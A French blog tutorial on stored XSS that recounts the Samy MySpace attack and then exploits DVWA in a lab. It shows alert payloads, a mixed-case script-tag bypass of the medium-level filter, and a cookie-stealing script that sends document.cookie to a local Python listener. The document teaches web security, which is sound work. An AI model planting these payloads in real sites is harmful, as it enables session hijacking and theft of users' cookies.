L’art subtil d’exploiter la vulnérabilité XSS

L’art subtil d’exploiter la vulnérabilité XSS

Bonjour les gens, c’est Anass 🤠.

Ça fait quelque jour, j’ai vu un documentaire sur les cybers-attaques et dans lequel un célèbre hacker racontait ses débuts avec le hacking, il disait que sa première “bêtise” était d’attaquer le fameux MySpace (c’était le Facebook de l’époque.), l’attaque consistait à afficher une alerte “Samy is my hero” pour tout visiteur qui se connectait!!….. il a exploité la faille XSS !!.

En conséquence, les administrateurs ont été obligé de déconnecté le site durant 48 heurs pour fixer le problème, et bien sûr Samy a subi une punition de 2 ans sans toucher un clavier 😬.

Cette histoire se passait en 2005, un peut vieux non ? Certes, mais la faille que Samy a exploité existe jusqu’à nos jours et est considérer comme une mine d’or pour les hackers, d’ailleurs même Facebook et Microsoft ont souffert de cette faille y a pas longtemps donc restez concentrer ^^.

xss_attack

1 – comprendre la faille XSS :

Tout d’abord l’abréviation XSS vient du mot cross-site scripting et on a remplacé le C par un X pour qu’il ne se confond pas avec le CSS (cascading style sheet).

La faille XSS est très dangereuse et aussi très répondu, d’ailleurs, elle prend toujours place dans les tops 10 vulnérabilités selon owasp (la 7e en 2017) .

En fait, le concept de cette faille est simple à comprendre, mais avant cela, il faut que je vous fasse un tour sur le fonctionnement des navigateurs web :

Sachez qu’un navigateur est un interpréteur de code qui prend le HTML et les scripts envoyé par le serveur et les interprète, afin de nous les présenter dans une forme plus attractive et plus utiles, que ce soit des images, vidéos, ou texte.

Par contre, cela nous permet d’interagir avec les éléments dynamiques du site tel que les barres de recherche et les forums… etc

Le problème se pose quand les entrées de l’utilisateur déterminent le comportement du site, et que ses derniers ne sont pas validés et assainis pour qu’elles -Les entrées- ne soit pas du code, sinon le code injecté va être exécuté par le navigateur et vous aurez votre XSS vulnérabilité.

Autrement dit, l’attaque XSS permet pour un hacker d’exécuter un code dans un autre navigateur, le code peut être un JavaScript, VBscript ou autre, mais JavaScript est le plus répondu dans ce type d’attaque.

Il faut souligner que le code injecté peut performer plusieurs taches similaires à celle que la victime lui-même peut faire (la transaction frauduleuse, vole de cookies, redirection….).

Maintenant et que vous avez compris le fonctionnement de l’attaque, sachez qu’il y a différentes manières de la réaliser en fonction de la conception et du but du site, mais voici les méthodes majeures :

• persistent XSS

• reflected XSS

• DOM-based XSS

Dans ce tutoriel, nous allons nous concentrer sur la première méthode, la méthode que Samy notre héros a utiliser. 😛.

2- persistent XSS :

La faille XSS est appelée persistante ou stocké quand le code injecté est stocké (ou enregistré) dans la base de données sur le serveur, puis l’application va restituer ce code à tous les utilisateurs sans validation.

En outre, si l’objectif de l’attaquant est d’infecter tous les utilisateurs du site, il va recourir à cette attaque qui va lui permettre une exploitation à un spectre large.

Alors pour les cibles typiques de cette attaque :

 Les forums

 Les réseaux sociaux

 Les sites d’actualités.

N.B : je répète le mot hacker consciemment parce qu’il y a un type de hacker qu’on l’appelé bug-hunter, c’est un chasseur de faille white hat, dés qu’il trouve une brèche de sécurité dans un systéme, il contacte le propriétaire et le met au courant de la vulnérabilité afin qu’il la fixe, et ce genre de hacker est bien rénumérer.

On considère la faille XSS persistente comme étant la plus sérieuse, car le code malicieux est injecté et exécuté automatiquement dans le navigateur de l’utilisateur, vous voyez que ça ne demande pas d’ingénierie sociale (envoyer un lien, phishing…)

Voici un schéma simplifié qui résume le scénario de l’attaque XSS persistante :

shéma_attaque

1: tout d’abord, le hacker consulte le site vulnérable, mais qui n’est pas encore exploité, et il fait quelque manipulation pour confirmer qu’il est vraiment vulnérable à cette attaque.

2: puis il injecte son code malicieux dans un champ de commentaire, ce code va être stocké dans la base de données pour qu’il soit affiché pour tous les utilisateurs du site.

3: quand un innocent utilisateur vient rendre visite à ce site 👶, il invoque le code HTML du site en plus du code malicieux qui va sera exécuté dés qu’il atterrit sur son navigateur.

3- un peu de fantaisie :

Maintenant et que nous avons un background sur l’attaque XSS, on va voir comment ça s’applique dans les formes basiques sachant que les scénarios comme ceux que nous allons aborder n’existe plus sur le web, c’est juste pour démontrer la technique utilisée par Samy, puis on va voir des scénarios plus réalistes 🤪.

<1> DVWA (damn vulnerable web appliacation) </1>

Je peux bien utiliser des dorks pour trouver des vrais sites vulnérables, mais ce n’est pas nécessaire à notre niveau, car nous manquons encore de techniques sophistiqués pour mener une attaque efficace qui a un impact sur la sécurité des sites.

Donc tout ce que je vais faire, c’est d’utiliser un environnement privé pour le faire, et ça sera le fameux DVWA, il est implanté sur metasploitable et tout ce que vous devez faire, c’est de le télécharger et l’installer en tant qu’une machine virtuelle, puis trouvé son adresse IP sur le réseau locale comme suit :

metasploitable_ip

N.B : Assurez-vous que la configuration réseau de la machine virtuelle soit “bridged adapter” pour qu’elle prenne une adresse IP qui appartient à notre réseau locale afin qu’on puisse se connecter à son interface web :

réseau_config

 

Ouvrez votre navigateur, je vous conseille Chrome ou Firefox parce qu’ils contiennent des outils pour développeurs qui nous sont utiles dans notre bidouillage.

Une fois fais, entrez l’adresse IP de la machine metasploitable dans la barre de recherche, cela nous donne accès à plusieurs plateformes dédiés au hacking et qui sont pré-insallé sur metasploitable :

En troisième position on a notre DVWA, on clique dessus et on se connecte à l’application en utilisant ces identifiants (username :admin ; password: password), puis vous aurez l’interface principale de DVWA :

DVWA

Mais prêtez attention à la flèche qui en dessus, elle indique que le niveau de sécurité des challenges est au top, autrement dit très difficile, d’ailleur, c’est pas logique 🤣 Parce que on doit commencer par le commencement pas l’inverse donc allez dans DVWA security et choisissez le niveau low.

Bien, on est prêt, rendez-vous sur XSS stored :

XSS stored

Vous voyez que l’interface est une simulation d’un forum, on a dit que les forums sont des cibles majeurs des attaques XSS.

<2> stratégie du hack</2> :

Devant un formulaire comme celui-ci il faut tout d’abord examiner comment le site traite et affiche l’information entrée, pour cela entrez un bout de code HTML envoyez le, voici un exemple :

xss_exemple

Ooops vous voyez bien que le code HTML que j’ai injecté a été bien exécuté par le navigateur, ça veut dire qu’il n’y a pas de validation des messages des utilisateurs qui veut dire que l’application est XSS vulnérable 😈.

En bas de DVWA, vous trouvez une option View source cliquez dessus et vous verrez le code PHP qu’on va analyser afin de trouver une brèche exploitable.

N.B : Après notre premier essaie nous sommes sûr de la présence de la faille, mais je vais vous montrer comment savoir exploiter un faible PHP script.

php_code

Analysons le code :

1 : tout d’abord, on a créé deux variable une pour le nom d’utilisateur et l’autre pour le message, et on a utilisé la méthode POST pour recueillir nos variables….nothing interessting 😑.

2 : c’est là que les choses deviennent intéressantes, car on a utilisé quelques techniques pour valider le message reçu et pour cela on a implanté deux fonctions :

• stripslashes  : son rôle est d’enlever le backslash , donc si vous entrez des données incluant le \ cette fonction l’enlèvera.

• mysql_real_escape_string : à contrario cette fonction ajoute un \ avant certains caractères potentiellement dangereux dans une chaine       transmises pour prévenir l’injection sql, ces caractères sont les suivants : ( \x00\n\r\, ‘, ” and \x1a ).

3 : pour valider le nom d’utilisateur, on a utilisé la fonction mysql_real_escape_string la même qu’on a utilise pour le message.

4 : et dernièrement on insert le message et le nom d’utilisateur dans la table qui se trouve au sein de la base de données.

Conclusion de l’analyse : tous les caractères sont permis sauf : ( \x00, \n\r\, ‘, ” ,\x1a ), donc on doit utiliser des scripts qui ne les contiennent pas et ça devrait marcher.

Je vous passe ce bout de code JavaScript qui démontre et simule l’attaque de Samy :

<script>alert(‘Samy is my hero’)</script>

Ce script qui en présence de la faille XSS fait apparaître un pop-up d’alerte, donc si je l’envoie en tant que commentaire, j’aurais ce résultat :

samy_is_my_hero

Vous remarquerez que le message d’alerte s’affichera à chaque consultation de la page, et s’affichera aussi à d’autres utilisateurs qui visiteront le site, essayez de lancer une machine virtuelle et consultez la page vous aurez certainement le même résultat.

Ce qui s’est passé, c’est tous simplement que le bout de code est stocké dans la db et à chaque fois que la page doit s’afficher, le code s’exécuteras par le navigateur.

Il est évident que cet exemple est très facile, vue que le code php est innefficace, mais ce n’est pas grave, car on va devoir augmenter un peu le niveau de difficulté au Mediumlet’s do it 🤩.

4- un peu plus de fantaisie :

Comme on pouvait s’y attendre, le code php est un peu sophistiqué, le voici :

medium-php

Analysons le code ensemble :

1 : vous remarquez qu’on nous a ajouté 2 fonctions pour la première ligne, et la 3 éme ligne est nouvelle, voyons voir le rôle de chaque fonction ajouté :

      • strip_tags : c’est une fonction qui sert à supprimer les balises HTML et PHP d’une chaîne, autrement dit, si vous entrez une chaîne qui contient un code HTML ou PHP cette fonction va l’a dénudé de toutes balises (<strong>,<b>…..).

     • addslashes : son rôle ressemble à celui de “mysql_real_escape_string”, donc elle ajoute un antislash pour échapper les caractères suivant : (‘,”,\,NULL).

     • htmlspecialshars : cette fonction est d’une importance extrême et je vais vous expliquer pourquoi : quand on injecte un code que ce soit du JavaScript ou HTML ou autre, on doit utiliser des balises qui contiennent des caractères speciaux(<,>,””,&….), ce qui va faire htmlspecialchars c’est de remplacer chaque caractère par son équivalent :

♦ ‘&’  ⇒ ‘&amp;’

♦”” ⇒’&quot;’

♦” ⇒ ‘&#039;‘

♦'<‘ ⇒ ‘&lt;’

♦’>’ ⇒ ’&gt;’

2 : et bien on a ajouté une fonction assez marrante, str_replace est une fonction qui remplace un string par un autre dans une chaîne donnée, ici elle doit remplacer tous les balises <script> et <SCRIPT> par ‘ ’ (vide).

Conclusion de l’analyse : étant donné qu’on est un peu mal alaise dans le champ des messages, on va exploiter le champ du nom d’utilisateur qui s’avère moins sécurisé !!, car il se défend contre la balise et <script> et <SCRIPT> seulement, et donc tout ce qu’on doit faire, c’est d’utiliser la balise <scRiPt> au lieu de la balise classique…Funny isn’t it 😂.

Mais il reste un petit problème, quand vous allez écrire le script dans le champ du nom le champ ne permet pas plus que 10 caractères !!.

Facile….On doit élargir un peu le champ pour qu’il contienne plus de caractère, une petite astuce réglera le problème :

1- Clique droit sur le champ du nom, choisissez insepct.

2- Une barre s’affiche, indiquant le code responsable du nom d’utilisateur, vous verrez que le maxlentgh est à 10, double-clique dessus et vous pouvez le modifier à n’importe quel autre nombre…. Disons 50.

3- tapez sur Entrée et c’est fait.

inspecté_lelement

Maintenant et que notre champ est prêt à recevoir notre code on va lui passer celui là :

<scRiPt>alert(‘Samy is my hero’)</scRiPt>

Et voilà le résultat :

samy_hero_medium

5- Un peu de réalité :

Le fait que nous avons une base sur le fonctionnement de l’attaque, cela nous permet d’exploiter la faille xss sur le terrain, et comme j’ai dit au début du tutoriel les possibilités sont infinie et qui sont le résultat de la créativité du hacker et la capacité de JavaScript.

<1> vole de cookies </1> :

N.B : pour ceux qui ne savent pas ce qu’un cookie et bien, c’est un petit fichier texte inoffensif qui est enregistré par le navigateur sur le disque dur et s’en sert pour facilité au utilisateurs leur navigation sur internet.

Une des implications immédiates d’une vulnérabilité XSS est la capacité du hacker de voler une session cookies valide afin de hijacker la session d’un utilisateur si les paramètres des cookies sont mal configurés.

Pour cela, l’attaquant a besoin d’un serveur-web qui écoute les requêtes envoyées par l’application injectée….Python peut faire le travail😁.

Ouvrez un terminal et tapez la commande suivante :

python -m SimpleHTTPServer 4444

http_server

Une fois le serveur en marche, on va exploiter la faille (toujours le niveau medium) :

1- Élargissez le nombre d’inputs du champ comme on a fait la dernière fois.

2- Entrez ce code : <scRiPt>document.write('<img src="https://127.0.0.1:4444/'+document.cookie+' ">');</scRiPt>

3- À chaque chargement de la page, le code est exécuté et tentera d’obtenir une image d’un serveur externe. Donc il envoie une requête qui contient une session cookie dans l’URL, et sera enregistré une fois arrivé sur le serveur de réception, comme le montre l’image :

Voilà, pour la faille XSS, je pense que sa compréhension est fondamentale pour tout hackingeek, je vous ai donné les bases et je vous laisse approfondir vos connaissances sur ce sujet, car il y a beaucoup de chose à découvrir.

N.B : Je vous laisse le niveau high comme un challenge, ça demande un peu plus de puissance 💪 , so let’s the hack begin…..

J’espére que ça étais claire pour vous et je vous revoi le prochain tuto…….. PEACE 😍.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

cinq × trois =